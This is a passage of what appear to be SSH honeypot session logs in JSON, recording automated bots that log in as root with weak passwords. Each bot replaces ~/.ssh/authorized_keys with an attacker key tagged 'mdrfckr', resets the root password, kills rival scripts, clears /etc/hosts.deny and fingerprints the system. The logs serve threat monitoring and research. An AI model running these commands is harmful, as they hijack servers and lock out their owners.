node\n^C"},{"seq":23,"at":"2026-08-27T13:47:06.812540+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:07.699327+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:08.533179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:09.183312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:10.016408+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:10.357791+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:47:11.192793+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:12.174366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:13.007007+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:14.429956+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qaz1wsx2","method":"password","accepted":true,"tier":"other"}]} {"id":"be430fc9-3418-4120-a9a2-95dfd66d578f","name":"glassy-languid-raven","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":53042,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":837,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:45:26.904360+00:00","ended_at":"2026-08-27T13:45:28.490199+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:45:00.537238+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:01.385674+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:45:08.086797+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:45:08.087362+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:45:08.913686+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2zecvfAlyvTt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:45:09.755837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:45:10.597700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:45:10.598182+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:45:11.446216+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:45:12.060068+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:45:12.894514+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:45:13.397127+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:45:14.230445+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:45:14.230873+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:45:15.075188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:45:15.764351+00:00","kind":"output","latency_ms":null,"data":" 13:45:15 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:45:16.597683+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:45:17.135193+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:45:17.979365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:45:18.870507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:45:19.702429+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:45:20.275612+00:00","kind":"output","latency_ms":null,"data":"top - 13:45:20 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:45:21.107266+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:45:21.374200+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:45:22.213296+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:45:22.668075+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:45:23.505720+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:45:24.155895+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:45:24.998397+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:45:26.067675+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:45:26.905057+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:45:28.216992+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin@520","method":"password","accepted":true,"tier":"other"}]} {"id":"ce849b76-8909-425b-80e9-5b5c62f84f83","name":"brisk-stormy-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":37034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":827,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:40:15.293996+00:00","ended_at":"2026-08-27T13:40:16.146140+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T13:39:52.426553+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:39:53.250559+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:40:00.747398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:40:00.747878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:40:01.579091+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HByEx1e4Of7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:40:02.401611+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:40:03.225621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:40:03.226093+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:40:04.053712+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:40:04.629961+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:40:05.458479+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:40:06.094041+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:40:06.922083+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:40:06.922526+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:40:07.748326+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:40:07.749022+00:00","kind":"output","latency_ms":null,"data":" 13:40:07 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:40:08.573924+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:40:08.574427+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:40:09.399659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:40:09.400037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:40:10.441512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:40:10.442105+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:10 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:40:11.290343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:40:11.291064+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:40:12.123110+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:40:12.123693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:40:12.958327+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:40:12.960929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:40:13.822007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:40:14.471160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:40:15.294720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:40:15.878969+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123_asdf","method":"password","accepted":true,"tier":"other"}]} {"id":"f00c17a5-4d18-4688-b503-11db1633996b","name":"woven-fabled-polecat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57484,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:10:07.280852+00:00","ended_at":"2026-08-27T13:10:08.428732+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:09:47.502470+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:09:47.832879+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:09:51.909254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:09:52.432865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:09:52.761867+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bDf96yyeeNOr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:09:53.087731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:09:53.412719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:09:53.793573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:09:54.122637+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:09:55.259155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:09:55.896142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:09:57.202219+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:09:57.529725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:09:58.012462+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:09:58.339418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:09:59.177755+00:00","kind":"output","latency_ms":null,"data":" 13:09:59 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:09:59.505512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:09:59.772050+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:10:00.100841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:10:00.874276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:10:01.202202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:10:01.888845+00:00","kind":"output","latency_ms":null,"data":"top - 13:10:01 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:10:02.217162+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:10:02.661540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:10:02.987161+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:10:03.789210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:10:04.117780+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:10:04.912127+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:10:05.239720+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:10:06.955060+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:10:07.282251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:10:08.331541+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"eff6efd8-4e18-42b1-a81a-2b11487826dd","name":"wry-sullen-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46524,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":734,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:34.534956+00:00","ended_at":"2026-08-27T13:08:35.347484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:08:13.957372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:14.687111+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:21.263742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:21.266116+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:21.993126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:11Osb7kxGwBC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:08:22.738216+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:08:23.468518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:23.470269+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:24.258283+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:24.894002+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:25.635435+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:26.148861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:26.880852+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:26.884149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:27.847343+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:27.847904+00:00","kind":"output","latency_ms":null,"data":" 13:08:27 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:28.573321+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:28.575102+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:29.307706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:29.308520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:30.052123+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:30.052670+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:30 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:31.019726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:31.020288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:31.753733+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:31.755348+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:32.480368+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:32.481051+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:08:33.215095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:33.794252+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:34.536433+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:35.108931+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@ssW0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"e2827558-c0bf-403f-887a-ceed52b5ac6e","name":"ashen-autumn-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:37.211124+00:00","ended_at":"2026-08-27T13:06:39.140279+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:06:19.207082+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:06:19.503202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 